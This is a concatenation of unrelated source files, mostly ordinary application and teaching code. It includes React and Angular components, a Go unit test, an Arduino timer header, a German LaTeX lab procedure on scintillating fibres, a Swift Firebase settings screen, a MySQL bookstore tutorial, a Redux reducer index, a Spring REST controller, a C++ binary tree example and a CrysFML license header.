<ChartContainer>
<Header />
<ChartInner>
{data.map((dataRow: any) => (
<Bar
key={dataRow.day}
height={(dataRow.amount / maxWeeklyAmount) * 100}
value={dataRow.amount}
day={dataRow.day}
/>
))}
</ChartInner>
<ChartSummaryRow>
<ChartSummaryColumnLeft>
<span>Total this month</span>
<h1>£{WeeklyTotal}</h1>
</ChartSummaryColumnLeft>
<ChartSummaryColumnRight>
<h3>+2.4%</h3>
<span>from last month</span>
</ChartSummaryColumnRight>
</ChartSummaryRow>
</ChartContainer>
);
};
export default Chart;
|
import React, { useEffect, useState } from "react";
import QRCode from "qrcode";
import { getNumberOfFactsState } from "../../services/GameStatesService";
import { Backdrop } from "@mui/material";
interface PlayerLinkQRProps {
gameId: string;
qrHeaderText: string;
qrInstructions: string
}
export const PlayerLinkQR = (props: PlayerLinkQRProps) => {
const domain = 'https://u-turn.ca'
// const domain = 'https://u-turn-development.web.app'
const [url, setUrl] = useState("")
const [imageUrl, setImageUrl] = useState("");
const [previewImage, setPreviewImage] = useState("")
const [open, setOpen] = React.useState(false);
const handleClose = () => {
setOpen(false);
};
const handleOpen = () => {
setOpen(true);
};
useEffect(() => {
async function createUrl() {
const numberOfFactsPerPlayer = await getNumberOfFactsState(props.gameId);
setUrl(`${domain}/${props.gameId}/player-profile/?factNumber=${numberOfFactsPerPlayer}`)
}
async function generateQrCodes() {
if (url) {
const response = await QRCode.toDataURL(url);
const preview = await QRCode.toDataURL(url, { scale: 18 });
setImageUrl(response);
setPreviewImage(preview)
}
}
async function initializePage() {
try {
await createUrl();
await generateQrCodes();
} catch (error) {
console.log(error);
}
}
initializePage();
}, [url, props.gameId]);
return (
<div>
<div className="qr">
<h2>{props.qrHeaderText}</h2>
<p>{props.qrInstructions}</p>
<img src={imageUrl} alt="img" onClick={handleOpen}/>
<div> {url} </div>
</div>
<Backdrop
sx={{ color: '#000', zIndex: (theme) => theme.zIndex.drawer + 1 }}
open={open}
onClick={handleClose}
>
<img className="qr__preview" src={previewImage} alt="preview-img"/>
</Backdrop>
</div>
);
};
|
package ptoa
import (
"testing"
"github.com/stretchr/testify/require"
"github.com/uber/peloton/.gen/peloton/api/v1alpha/job/stateless"
"github.com/uber/peloton/pkg/aurorabridge/fixture"
)
func TestNewJobUpdateSummary_Timestamps(t *testing.T) {
testCases := []struct {
name string
events []*stateless.WorkflowEvent
wantCreatedTimestampMs int64
wantLastModifiedTimestampMs int64
}{
{
"no events", nil, 0, 0,
}, {
"one event",
[]*stateless.WorkflowEvent{
{Timestamp: "2019-02-04T16:43:20Z"},
},
1549298600000,
1549298600000,
}, {
"two events",
[]*stateless.WorkflowEvent{
{Timestamp: "2019-02-04T18:25:10Z"},
{Timestamp: "2019-02-04T16:43:20Z"},
},
1549298600000,
1549304710000,
},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
k := fixture.AuroraJobKey()
w := &stateless.WorkflowInfo{
Status: &stateless.WorkflowStatus{
State: stateless.WorkflowState_WORKFLOW_STATE_ROLLING_FORWARD,
},
Events: tc.events,
}
s, err := NewJobUpdateSummary(k, w)
require.NoError(t, err)
require.Equal(t,
tc.wantCreatedTimestampMs,
s.GetState().GetCreatedTimestampMs())
require.Equal(t,
tc.wantLastModifiedTimestampMs,
s.GetState().GetLastModifiedTimestampMs())
})
}
}
|
import { Component, OnInit } from '@angular/core';
import { CommonModule } from '@angular/common';
import { MatDatepickerModule } from '@angular/material/datepicker';
import { MatNativeDateModule } from '@angular/material/core';
import { ReactiveFormsModule, FormsModule } from '@angular/forms';
import { MatCheckboxModule } from '@angular/material/checkbox';
import { Store } from '@ngrx/store';
import {
ExpenseState,
getExpenses,
} from 'src/app/pages/expenses/state/expenses.reducer';
import { getExpenses as loadExpenses } from 'src/app/pages/expenses/state/expenses.actions';
import { MatIconModule } from '@angular/material/icon';
import { Observable } from 'rxjs';
import { getTotalExpenses } from '../../pages/expenses/state/expenses.reducer';
import {
filterFromDate,
filterToDate,
filterMin,
filterMax,
filterMerchant,
filterStatus,
} from '../../pages/expenses/state/expenses.actions';
@Component({
selector: 'app-filter',
templateUrl: './filter.component.html',
styleUrls: ['./filter.component.css'],
standalone: true,
imports: [
CommonModule,
MatDatepickerModule,
MatNativeDateModule,
ReactiveFormsModule,
MatCheckboxModule,
FormsModule,
MatIconModule,
],
})
export class FilterComponent implements OnInit {
constructor(private store: Store<ExpenseState>) {}
merchants!: string[];
// onSetMechant(merchant: string) {
// this.merchant = merchant;
// }
// setStatus(status: string) {
// this.status = status;
// }
from!: Date;
to!: Date;
min!: number;
max!: number;
merchant!: string;
status!: string;
isOpened = false;
toggleFilter() {
this.isOpened = !this.isOpened;
}
clear() {
this.store.dispatch(loadExpenses());
}
removeFilters() {
this.clear();
this.from = new Date();
this.to = new Date();
this.status = '';
this.merchant = '';
this.min = 0;
this.max = 0;
}
// Filter actions
filterFrom() {
console.log('Called');
const to = this.to ? this.to : new Date();
this.store.dispatch(filterFromDate({ from: this.from, to }));
}
filterTo() {
const from = this.from ? this.from : new Date(0, 0, 0, 0);
this.store.dispatch(filterToDate({ from, to: this.to }));
}
filterMin() {
const max = this.max ? this.max : 9999999999999999999999999;
this.store.dispatch(filterMin({ max, total: this.min }));
}
filterMax() {
const min = this.min ? this.min : 0;
this.store.dispatch(filterMax({ min, total: this.max }));
}
filterMerchant() {
this.store.dispatch(filterMerchant({ merchant: this.merchant }));
}
filterStatus() {
this.store.dispatch(filterStatus({ status: this.status }));
}
totalExpense!: Observable<number>;
ngOnInit(): void {
this.store.select(getExpenses).subscribe((expenses) => {
this.merchants = Array.from(new Set(expenses.map((ex) => ex.Merchant)));
});
this.totalExpense = this.store.select(getTotalExpenses);
}
}
|
/*
setPeriod(период) - установка периода в микросекундах и запуск таймера. Возвращает реальный период (точность ограничена разрешением таймера).
setFrequency(частота) - установка частоты в Герцах и запуск таймера. Возвращает реальную частоту (точность ограничена разрешением таймера).
setFrequencyFloat(частота float) - установка частоты в Герцах и запуск таймера, разрешены десятичные дроби. Возвращает реальную частоту (точность ограничена разрешением таймера).
enableISR(источник) - включить прерывания, канал прерываний CHANNEL_A или CHANNEL_B (+ CHANNEL_C у Mega2560)
disableISR(источник) - выключить прерывания, канал CHANNEL_A или CHANNEL_B. Счёт таймера не останавливается (без указания параметров будет выключен канал А).
pause() - приостановить счёт таймера, не сбрасывая счётчик
resume() - продолжить счёт после паузы
stop() - остановить счёт и сбросить счётчик
restart() - перезапустить таймер (сбросить счётчик)
setDefault() - установить параметры таймера по умолчанию ("Ардуино-умолчания")
outputEnable(канал, режим) - канал: включить выход таймера CHANNEL_A или CHANNEL_B (+ CHANNEL_C у Mega2560). Режим: TOGGLE_PIN, CLEAR_PIN, SET_PIN (переключить/выключить/включить пин по прерыванию)
outputDisable(канал) - отключить выход таймера CHANNEL_A или CHANNEL_B (+ CHANNEL_C у Mega2560, см. такблицу таймеров)
outputState(канал, состояние) - сменить состояние канала: HIGH / LOW
phaseShift(источник, фаза) - сдвинуть фазу канала на 0-360 градусов (у 8 бит таймеров двигается только канал B)
*/
#define MAX_PERIOD_8 (1000000UL * 1024UL / F_CPU * 256UL) // 16384 (61 Гц) на 16 МГц
#define MAX_PERIOD_16 (1000000UL * 1024UL / F_CPU * 65536UL) // 4194304 (0.24 Гц) на 16 МГц
#ifndef Timers_h
#define Timers_h
#include <Arduino.h>
/* ========== Константы ========== */
#define CHANNEL_A 0x00
#define CHANNEL_B 0x01
#define CHANNEL_C 0x02
#define TOGGLE_PIN 0x01
#define CLEAR_PIN 0x02
#define SET_PIN 0x03
#define TIMER0_A TIMER0_COMPA_vect
#define TIMER0_B TIMER0_COMPB_vect
#define TIMER1_A TIMER1_COMPA_vect
#define TIMER1_B TIMER1_COMPB_vect
#define TIMER2_A TIMER2_COMPA_vect
#define TIMER2_B TIMER2_COMPB_vect
#if defined(__AVR_ATmega2560__)
#define TIMER1_C TIMER1_COMPC_vect
#define TIMER3_A TIMER3_COMPA_vect
#define TIMER3_B TIMER3_COMPB_vect
#define TIMER3_C TIMER3_COMPC_vect
#define TIMER4_A TIMER4_COMPA_vect
#define TIMER4_B TIMER4_COMPB_vect
#define TIMER4_C TIMER4_COMPC_vect
#define TIMER5_A TIMER5_COMPA_vect
#define TIMER5_B TIMER5_COMPB_vect
#define TIMER5_C TIMER5_COMPC_vect
#endif
#define TIMERS_INLINE
/*inline __attribute__((always_inline))*/
class Timer_0 { // Timer 0
public:
uint32_t setPeriod(uint32_t _timer0_period); // Set timer period [us]
uint32_t setFrequency(uint32_t _timer0_frequency); // Set timer frequency [Hz]
float setFrequencyFloat(float _timer0_frequency); // Set timer float frequency [Hz]
TIMERS_INLINE
bool ready(uint8_t channel = CHANNEL_A); // Return true, is interrupt is ready, but not enabled
TIMERS_INLINE
void enableISR(uint8_t source = CHANNEL_A); // Enable timer interrupt , channel A or B
TIMERS_INLINE
void disableISR(uint8_t source = CHANNEL_A); // Disable timer interrupt , channel A or B
TIMERS_INLINE
void pause(void); // Disable timer clock , not cleaning the counter
TIMERS_INLINE
void resume(void); // Return clock timer settings
TIMERS_INLINE
void stop(void); // Disable timer clock , and cleaning the counter
TIMERS_INLINE
void restart(void); // Return clock timer settings & reset counter
TIMERS_INLINE
void setDefault(void); // Set default timer settings
TIMERS_INLINE
void outputEnable(uint8_t channel, uint8_t mode); // Enable and configurate timer hardware output
TIMERS_INLINE
void outputDisable(uint8_t channel); // Disable timer hardware output
TIMERS_INLINE
void outputState(uint8_t channel,bool state); // Set High / Low on the timer output
TIMERS_INLINE
void phaseShift(uint8_t source, uint16_t phase);
private:
uint8_t _timer0_clock = 0x00; // Variable to store timer clock settings
};
class Timer_1 { // Timer 1
public:
uint32_t setPeriod(uint32_t _timer1_period); // Set timer period [Hz]
uint32_t setFrequency(uint32_t _timer1_frequency); // Set timer frequency [Hz]
float setFrequencyFloat(float _timer1_frequency); // Set timer float frequency [Hz]
TIMERS_INLINE
bool ready(uint8_t channel = CHANNEL_A); // Return true, is interrupt is ready, but not enabled
TIMERS_INLINE
void enableISR(uint8_t source = CHANNEL_A); // Enable timer interrupt , channel A or B
TIMERS_INLINE
void disableISR(uint8_t source = CHANNEL_A); // Disable timer interrupt , channel A or B
TIMERS_INLINE
void pause(void); // Disable timer clock , not cleaning the counter
TIMERS_INLINE
void resume(void); // Return clock timer settings
TIMERS_INLINE
void stop(void); // Disable timer clock , and cleaning the counter
TIMERS_INLINE
void restart(void); // Return clock timer settings & reset counter
TIMERS_INLINE
void setDefault(void); // Set default timer settings
TIMERS_INLINE
void outputEnable(uint8_t channel, uint8_t mode); // Enable and configurate timer hardware output
TIMERS_INLINE
void outputDisable(uint8_t channel); // Disable timer hardware output
TIMERS_INLINE
void outputState(uint8_t channel,bool state); // Set High / Low on the timer output
TIMERS_INLINE
void phaseShift(uint8_t source, uint16_t phase);
private:
uint8_t _timer1_clock = 0x00; // Variable to store timer clock settings
};
class Timer_2 { // Timer 2
public:
uint32_t setPeriod(uint32_t _timer2_period); // Set timer period [Hz]
uint32_t setFrequency(uint32_t _timer2_frequency); // Set timer frequency [Hz]
float setFrequencyFloat(float _timer2_frequency); // Set timer float frequency [Hz]
TIMERS_INLINE
bool ready(uint8_t channel = CHANNEL_A); // Return true, is interrupt is ready, but not enabled
TIMERS_INLINE
void enableISR(uint8_t source = CHANNEL_A); // Enable timer interrupt , channel A or B
TIMERS_INLINE
void disableISR(uint8_t source = CHANNEL_A); // Disable timer interrupt , channel A or B
TIMERS_INLINE
void pause(void); // Disable timer clock , not cleaning the counter
TIMERS_INLINE
void resume(void); // Return clock timer settings
TIMERS_INLINE
void stop(void); // Disable timer clock , and cleaning the counter
TIMERS_INLINE
void restart(void); // Return clock timer settings & reset counter
TIMERS_INLINE
void setDefault(void); // Set default timer settings
TIMERS_INLINE
void outputEnable(uint8_t channel, uint8_t mode); // Enable and configurate timer hardware output
TIMERS_INLINE
void outputDisable(uint8_t channel); // Disable timer hardware output
TIMERS_INLINE
void outputState(uint8_t channel,bool state); // Set High / Low on the timer output
TIMERS_INLINE
void phaseShift(uint8_t source, uint16_t phase);
private:
uint8_t _timer2_clock = 0x00; // Variable to store timer clock settings
};
#if defined(__AVR_ATmega2560__)
class Timer_3 { // Timer 3
public:
uint32_t setPeriod(uint32_t _timer3_period); // Set timer period [Hz]
uint32_t setFrequency(uint32_t _timer3_frequency); // Set timer frequency [Hz]
float setFrequencyFloat(float _timer3_frequency); // Set timer float frequency [Hz]
TIMERS_INLINE
bool ready(uint8_t channel = CHANNEL_A); // Return true, is interrupt is ready, but not enabled
TIMERS_INLINE
void enableISR(uint8_t source = CHANNEL_A); // Enable timer interrupt , channel A or B
TIMERS_INLINE
void disableISR(uint8_t source = CHANNEL_A); // Disable timer interrupt , channel A or B
TIMERS_INLINE
void pause(void); // Disable timer clock , not cleaning the counter
TIMERS_INLINE
void resume(void); // Return clock timer settings
TIMERS_INLINE
void stop(void); // Disable timer clock , and cleaning the counter
TIMERS_INLINE
void restart(void); // Return clock timer settings & reset counter
TIMERS_INLINE
void setDefault(void); // Set default timer settings
TIMERS_INLINE
void outputEnable(uint8_t channel, uint8_t mode); // Enable and configurate timer hardware output
TIMERS_INLINE
void outputDisable(uint8_t channel); // Disable timer hardware output
TIMERS_INLINE
void outputState(uint8_t channel,bool state); // Set High / Low on the timer output
TIMERS_INLINE
void phaseShift(uint8_t source, uint16_t phase);
private:
uint8_t _timer3_clock = 0x00; // Variable to store timer clock settings
};
class Timer_4 { // Timer 4
public:
uint32_t setPeriod(uint32_t _timer4_period); // Set timer period [Hz]
uint32_t setFrequency(uint32_t _timer4_frequency); // Set timer frequency [Hz]
float setFrequencyFloat(float _timer4_frequency); // Set timer float frequency [Hz]
TIMERS_INLINE
bool ready(uint8_t channel = CHANNEL_A); // Return true, is interrupt is ready, but not enabled
TIMERS_INLINE
void enableISR(uint8_t source = CHANNEL_A); // Enable timer interrupt , channel A or B
TIMERS_INLINE
void disableISR(uint8_t source = CHANNEL_A); // Disable timer interrupt , channel A or B
TIMERS_INLINE
void pause(void); // Disable timer clock , not cleaning the counter
TIMERS_INLINE
void resume(void); // Return clock timer settings
TIMERS_INLINE
void stop(void); // Disable timer clock , and cleaning the counter
TIMERS_INLINE
void restart(void); // Return clock timer settings & reset counter
TIMERS_INLINE
void setDefault(void); // Set default timer settings
TIMERS_INLINE
void outputEnable(uint8_t channel, uint8_t mode); // Enable and configurate timer hardware output
TIMERS_INLINE
void outputDisable(uint8_t channel); // Disable timer hardware output
TIMERS_INLINE
void outputState(uint8_t channel,bool state); // Set High / Low on the timer output
TIMERS_INLINE
void phaseShift(uint8_t source, uint16_t phase);
private:
uint8_t _timer4_clock = 0x00; // Variable to store timer clock settings
};
class Timer_5 { // Timer 5
public:
uint32_t setPeriod(uint32_t _timer5_period); // Set timer period [Hz]
uint32_t setFrequency(uint32_t _timer5_frequency); // Set timer frequency [Hz]
float setFrequencyFloat(float _timer5_frequency); // Set timer float frequency [Hz]
TIMERS_INLINE
bool ready(uint8_t channel = CHANNEL_A); // Return true, is interrupt is ready, but not enabled
TIMERS_INLINE
void enableISR(uint8_t source = CHANNEL_A); // Enable timer interrupt , channel A or B
TIMERS_INLINE
void disableISR(uint8_t source = CHANNEL_A); // Disable timer interrupt , channel A or B
TIMERS_INLINE
void pause(void); // Disable timer clock , not cleaning the counter
TIMERS_INLINE
void resume(void); // Return clock timer settings
TIMERS_INLINE
void stop(void); // Disable timer clock , and cleaning the counter
TIMERS_INLINE
void restart(void); // Return clock timer settings & reset counter
TIMERS_INLINE
void setDefault(void); // Set default timer settings
TIMERS_INLINE
void outputEnable(uint8_t channel, uint8_t mode); // Enable and configurate timer hardware output
TIMERS_INLINE
void outputDisable(uint8_t channel); // Disable timer hardware output
TIMERS_INLINE
void outputState(uint8_t channel,bool state); // Set High / Low on the timer output
TIMERS_INLINE
void phaseShift(uint8_t source, uint16_t phase);
private:
uint8_t _timer5_clock = 0x00; // Variable to store timer clock settings
};
#endif
extern Timer_0 Timer0;
extern Timer_1 Timer1;
extern Timer_2 Timer2;
#if defined(__AVR_ATmega2560__)
extern Timer_3 Timer3;
extern Timer_4 Timer4;
extern Timer_5 Timer5;
#endif
#endif
|
\section{Durchführung}
\label{sec:Durchführung}
Zur Analyse der Funktionsweise des SciFi Detektors wird in diesem Versuch eine einzelne szintillierende Faser genauer betrachtet. Der dafür verwendete
Versuchsaufbau ist in \autoref{sec:aufbau} beschrieben und das Messprogramm wird in \autoref{sec:messprogramm} erklärt.
\subsection{Aufbau}
\label{sec:aufbau}
Eine szintillierende Faser ist entlang der x-Achse eines xy-Tisches eingespannt, sodass eine LED präzise über eine Länge von \qtyrange{0}{2000}{\milli\metre}
der Faser gefahren werden kann. An einem Ende der Faser sitzt ein Spektrometer, welches mit Schrittmotoren entlang der Horizontalen und der Vertikalen bewegt
werden kann. Ein angeschlossener Computer erlaubt die Steuerung der Motoren und der LED sowie die automatische Datenerfassung.
\subsection{Messprogramm}
\label{sec:messprogramm}
Bevor die Messungen starten können, muss der Raum abgedunkelt werden, damit Streulichteffekte unterdrückt werden. Darüber hinaus wird bei jeder Messung
sowohl die Anregung der Faser mittels der LED gemessen, als auch die Dunkelzählrate, sodass die Messdaten um diese bereinigt werden können. Für sämtliche Messungen
wird eine Integrationszeit von \qty{10000}{\micro\second} und einem Strom von \qty{20}{\milli\ampere} gewählt.
\subsubsection{Spektrometermessung}
Zur Illustration der Auswirkungen von angeschaltetem Raumlicht wird eine Spektrometermessung bei eingeschaltetem und eine bei ausgeschaltetem Raumlicht durchgeführt.
Dazu wird an dem Steuerungscomputer in einem GUI eine Spektrometermessung
gestartet. Die Intensität der Messungen wird für die beiden Messreihen gegenüber der Wellenlänge aufgetragen. Außerdem wird in einem weiteren Schritt die
Dunkelzählrate abgezogen und das Ergebnis erneut graphisch dargestellt.
\subsubsection{Radialsymmetrie}
Die Intensität des aus der Faser austretenden Lichts folgt einer Radialsymmetrie, welche in dieser Messung verifiziert werden soll. Dazu wird für eine feste Position
der LED auf der Faser das Spektrometer entlang der horizontalen und vertialen Achse verfahren. An dem Computer wird ein Programm aufgerufen, mit dem der aufzufahrende
Bereich sowie die Schrittweite eingestellt werden kann. Der horizontale Winkelbereich soll von \qtyrange{-18}{30}{\degree} und der vertikale von \qtyrange{-6}{35}{\degree}
verlaufen.
\subsubsection{Simulation}
Neben den aufzunehmenden Messdaten werden ebenfalls Simulationsdaten analysiert. Dabei enthalten die Daten Informationen über die Anregungsorte der Faser, den Austrittsort
am Faserende, den Erzeugungsort des Photons mit dazugehörigem Impuls und Wellenlänge, die Anzahl der Reflexionen an der Core-Cladding und Cladding-Cladding Grenzfläche, die
Anzahl der Raleighstreuungen, sowie die zurückgelegten Wegstrecken in den verschiedenen Medien. \\
Zunächst werden unphysikalische Simulationseffekte bereinigt, indem alle Photonen, deren Austrittsort außerhalb des Faserradius liegt, entfernt werden. Außerdem
werden alle Photonen, die Raleighstreuungen durchgeführt haben, ebenfalls entfernt. Der Datensatz wird anschließend in Kern- und Mantelphotonen aufgeteilt. Der Winkel~$\theta$
des Photons zur x-Achse wird berechnet und als neue Variable eingeführt. Die Intensität der verschiedenen Winkel~$\theta$ wird in einem Histogramm sowohl für die Kern- als auch
für die Mantelphotonen aufgetragen. Der maximale Winkel unter dem noch Totalreflexion auftreten kann wird berechnet und ebenfalls im Histogramm eingezeichnet. \\
In einem nächsten Schritt wird der minimale Abstand der Kern- und Mantelphotonen zur Fasermitte berechnet und in einem zweidimensionalen Histogramm in Abhängigkeit zum Winkel~$\theta$
gesetzt. \\
Als Nächstes wird die Intensität für verschiedene Winkel in Abhängigkeit zum Anregungsort auf der x-Achse bestimmt und abermals graphisch dargestellt. Mithilfe eines
exponentiellen Fits kann der Absorbtionskoeffizient der szintillierenden Fasern bestimmt werden.
\subsubsection{Intensitätsmessung}
In einem weiteren Schritt wird die x-Abhängige Intensität bestimmt. Dazu werden entlang der x-Achse 20 verschiedene Positionen der Faser angeregt und für jede dieser
Positionen der horizontale oder vertikale Winkel in zehn Schritten von \qtyrange{0}{40}{\degree} variiert. Diese Daten werden analog zu den Simulationsdaten ausgewerten und
mit diesen verglichen.
\subsubsection{Winkelintensitätsmessung}
Zur Bestimmung des Winkels, bei dem die Intensität am größten ist, wird für einen festen Anregungsort und festen vertikalen Winkel der horizontale Winkel feinschrittig von
\qtyrange{0}{45}{\degree} verändert. Die Intensität wird gegen die Winkelverteilung histogrammiert und das Maximum dieser Verteilung bestimmt.
|
//
// UserSettingsViewController.swift
// kufar-analogue
//
// Created by Bahdan Piatrouski on 14.04.23.
//
import UIKit
import FirebaseAuth
import SPIndicator
class UserSettingsViewController: UIViewController {
@IBOutlet weak var nameTextField: UITextField!
@IBOutlet weak var emailTextField: UITextField!
@IBOutlet weak var passwordTextField: UITextField!
weak var delegate: ViewControllerDelegate?
override func viewDidLoad() {
super.viewDidLoad()
if let user = Auth.auth().currentUser {
if let name = user.displayName {
nameTextField.text = name
}
guard let email = user.email else { return }
emailTextField.text = email
} else {
// TODO: handle error with the help of SPIndicator
// and dismiss
SPIndicator.present(title: "Please login🥹",message: "Log in to change your profile", preset: .error, haptic: .error, from: .top)
self.navigationController?.popViewController(animated: true)
}
}
@IBAction func saveChangesAction(_ sender: Any) {
guard let name = nameTextField.text,
let email = emailTextField.text,
let password = passwordTextField.text
else { return }
let alertVC = UIAlertController(title: "Save changes?", message: "Are you sure to make changes?", preferredStyle: .alert)
let yesAction = UIAlertAction(title: "Yes", style: .default) { _ in
if let user = Auth.auth().currentUser {
let changeProfileRequest = user.createProfileChangeRequest()
changeProfileRequest.displayName = name
if let emailDb = user.email,
emailDb != email {
user.updateEmail(to: email) { error in
if let error {
SPIndicator.present(title: "Error", message: error.localizedDescription, preset: .error, haptic: .error, from: .top)
} else {
SPIndicator.present(title: "Success", message: "Please check your email for confirm new email", preset: .done, haptic: .success, from: .top)
}
self.navigationController?.popViewController(animated: true)
}
}
if password.count > 5 {
user.updatePassword(to: password)
} else {
SPIndicator.present(title: "Error", message: "Password has less than 6 symbols", preset: .error, haptic: .error, from: .top)
self.navigationController?.popViewController(animated: true)
return
}
changeProfileRequest.commitChanges { error in
if let error {
SPIndicator.present(title: "Error", message: error.localizedDescription, preset: .error, haptic: .error, from: .top)
} else {
SPIndicator.present(title: "Success", message: "Please check your email for confirm new email", preset: .done, haptic: .success, from: .top)
}
self.navigationController?.popViewController(animated: true)
}
}
}
alertVC.addAction(yesAction)
let noAction = UIAlertAction(title: "NO", style: .destructive) { _ in
self.navigationController?.popViewController(animated: true)
}
alertVC.addAction(noAction)
self.present(alertVC, animated: true)
}
}
|
-- Show Database --
SHOW DATABASES;
-- Create Database --
CREATE DATABASE book_store;
-- Use Database --
USE book_store;
-- Show Table --
SHOW tables;
-- Create Table --
CREATE TABLE books
(id INT AUTO_INCREMENT PRIMARY KEY,
author1 VARCHAR(100) NOT NULL,
author2 VARCHAR(100),
author3 VARCHAR(100),
title VARCHAR(100),
description VARCHAR(100),
place_sell VARCHAR(3),
stock INT DEFAULT 0,
creation_date DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
);
-- Show Table --
SHOW tables;
-- Detail Table --
desc books;
-- Alter Table --
ALTER TABLE `books`
ADD price INT DEFAULT 0,
ADD status ENUM('available', 'out of stock', 'limited'),
DROP `place_sell`;
-- Insert Data --
INSERT INTO `books` (`author1`, `author2`, `author3`, `title`, `description`, `stock`, `price`, `status`)
VALUES ('Yudistira', 'Sulaiman', NULL, 'IPA SMP Kelas 1', 'Buku IPA SMP untuk Kelas 1', '100', '35000', 'available'),
('Amat', 'Bodo', NULL, 'Bodo Amat', 'Buku ngajarin tentang bodo sama amat', '0', '15000', 'out of stock'),
('Cinta', NULL, NULL, 'Pergi mencari', 'Mencari Cinta yang telah pergi', '100', '45000', 'available');
-- Show books mengunakan SELECT --
SELECT * FROM books;
-- Sql Aliases --
SELECT id AS ID , author1 AS A1 , author2 AS A2, author3 AS A3 FROM `books`;
-- Find id mengunakan WHERE --
SELECT * FROM `books` WHERE id = 2;
-- Find price mengunakan AND --
SELECT * FROM books WHERE price >= 15000 AND price <=35000;
-- Find price mengunakan OR --
SELECT * FROM books WHERE price >= 45000 OR price <=15000;
-- Find price mengunakan NOT --
SELECT * FROM books WHERE NOT price <=35000;
-- Order by ASC --
SELECT * FROM books ORDER BY id ASC;
-- LIMIT column --
SELECT * FROM books LIMIT 2;
-- Update --
UPDATE books SET author2 ='Dana',
price ='50000'
WHERE id='3';
-- Show by id=3 --
SELECT * FROM books WHERE id='3';
-- Delete --
DELETE FROM books WHERE id=2;
-- Show books mengunakan SELECT --
SELECT * FROM books;
|
import { combineReducers } from 'redux'
import { brokerageReducer as brokerage } from './brokerage/slice'
import { fundRecoveryReducer } from './fundRecovery/reducers'
import identityVerificationReducer from './identityVerification/reducers'
import interestReducer from './interest/reducers'
import layoutWallet from './layoutWallet/reducers'
import lockbox from './lockbox/reducers'
import manageAddresses from './manageAddresses/reducers'
import { priceChartReducer } from './priceChart/reducers'
import { recoveryPhraseReducer } from './recoveryPhrase/reducers'
import recurringBuysReducer from './recurringBuys/reducers'
import { requestReducer } from './request/reducers'
import resetWallet2fa from './resetWallet2fa/reducers'
import { sendReducer } from './send/reducers'
import { sendBchReducer } from './sendBch/reducers'
import { sendBtcReducer } from './sendBtc/reducers'
import { sendEthReducer } from './sendEth/reducers'
import { sendXlmReducer } from './sendXlm/reducers'
import { settingsReducer } from './settings/reducers'
import signMessage from './signMessage/reducers'
import { simpleBuyReducer } from './simpleBuy/reducers'
import swapReducer from './swap/reducers'
import uploadDocuments from './uploadDocuments/reducers'
import veriff from './veriff/reducers'
import { withdrawReducer } from './withdraw/reducers'
const componentReducer = combineReducers({
brokerage,
fundRecovery: fundRecoveryReducer,
identityVerification: identityVerificationReducer,
interest: interestReducer,
layoutWallet,
lockbox,
manageAddresses,
priceChart: priceChartReducer,
recoveryPhrase: recoveryPhraseReducer,
recurringBuys: recurringBuysReducer,
request: requestReducer,
resetWallet2fa,
send: sendReducer,
sendBch: sendBchReducer,
sendBtc: sendBtcReducer,
sendEth: sendEthReducer,
sendXlm: sendXlmReducer,
settings: settingsReducer,
signMessage,
simpleBuy: simpleBuyReducer,
swap: swapReducer,
uploadDocuments,
veriff,
withdraw: withdrawReducer
})
export default componentReducer
|
package com.vylitkova.wardrobe.accessories;
import com.vylitkova.wardrobe.clothes.Clothes;
import org.bson.types.ObjectId;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import java.util.ArrayList;
import java.util.List;
import java.util.Optional;
@CrossOrigin
@RestController
@RequestMapping("/accessories")
public class AccessoriesController {
@Autowired
private AccessoriesService accessoriesService;
@GetMapping
public ResponseEntity<List<Accessories>> getAllAccessories(){
return ResponseEntity.ok(accessoriesService.allAccessories());
}
@GetMapping("/findByColor/{color}")
public ResponseEntity<List<Accessories>> getByColor(@PathVariable String color){
return new ResponseEntity<>(accessoriesService.allByColor(color), HttpStatus.OK);
}
@GetMapping("/{type}")
public ResponseEntity<List<Accessories>> getByType(@PathVariable String type){
return new ResponseEntity<>(accessoriesService.allByType(type), HttpStatus.OK);
}
@GetMapping("/findById/{id}")
public ResponseEntity<Optional<Accessories>> getAccessoryById(@PathVariable ObjectId id) {
return new ResponseEntity<>(accessoriesService.accessoryById(id), HttpStatus.OK);
}
@PostMapping("/add")
public ResponseEntity<?> addAccessory(@RequestBody Accessories accessory){
return ResponseEntity.ok(accessoriesService.save(accessory));
}
@DeleteMapping("/delete/{id}")
public ResponseEntity<?> deleteOutfit(@PathVariable ObjectId id){
return ResponseEntity.ok(accessoriesService.deleteById(id));
}
@PutMapping("/update/{id}")
public ResponseEntity<?> updateCategoryType(@PathVariable ObjectId id, @RequestBody Accessories accessories) {
return new ResponseEntity<>(accessoriesService.updateTypeById(id, accessories), HttpStatus.OK);
}
}
|
#include <iostream>
using namespace std;
class Node{
public :
int data;
Node* left;
Node* right;
Node(){
cout << "Hi! I am a constructor without data" << endl;
}
Node(int data){
this -> data = data;
this -> left = NULL;
this -> right = NULL;
}
};
void printTree(Node* root){
// base case
// if root is NULL, return
if(root == NULL){
return;
}
// print the root node
cout << root -> data << " : ";
// print the left and right child of the root node if they exist
if(root -> left != NULL){
cout << " L " << root -> left -> data;
}
if(root -> right != NULL){
cout << " R " << root -> right -> data;
}
cout << endl;
// print left subtree
printTree(root -> left);
// print right subtree
printTree(root -> right);
}
Node* createTree(){
// enter the data of the root node
cout << "Enter data : ";
int data;
cin >> data;
// if data is -1, return NULL -> which means no node is created
if(data == -1){
return NULL;
}
// create a new node with the data
Node* root = new Node(data);
// ask for the left child of the root node
cout << "Enter left child of " << data << endl;
// create the left child of the root node
root -> left = createTree();
// ask for the right child of the root node
cout << "Enter right child of " << data << endl;
// create the right child of the root node
root -> right = createTree();
return root;
}
int main(){
Node* root = createTree();
printTree(root);
return 0;
}
|
!!-------------------------------------------------------
!!---- Crystallographic Fortran Modules Library (CrysFML)
!!-------------------------------------------------------
!!---- The CrysFML project is distributed under LGPL. In agreement with the
!!---- Intergovernmental Convention of the ILL, this software cannot be used
!!---- in military applications.
!!----
!!---- Copyright (C) 1999-2022 Institut Laue-Langevin (ILL), Grenoble, FRANCE
!!---- Universidad de La Laguna (ULL), Tenerife, SPAIN
!!---- Laboratoire Leon Brillouin(LLB), Saclay, FRANCE
!!----
!!---- Authors: Juan Rodriguez-Carvajal (ILL)
!!---- Javier Gonzalez-Platas (ULL)
!!---- Nebil Ayape Katcho (ILL)
!!----
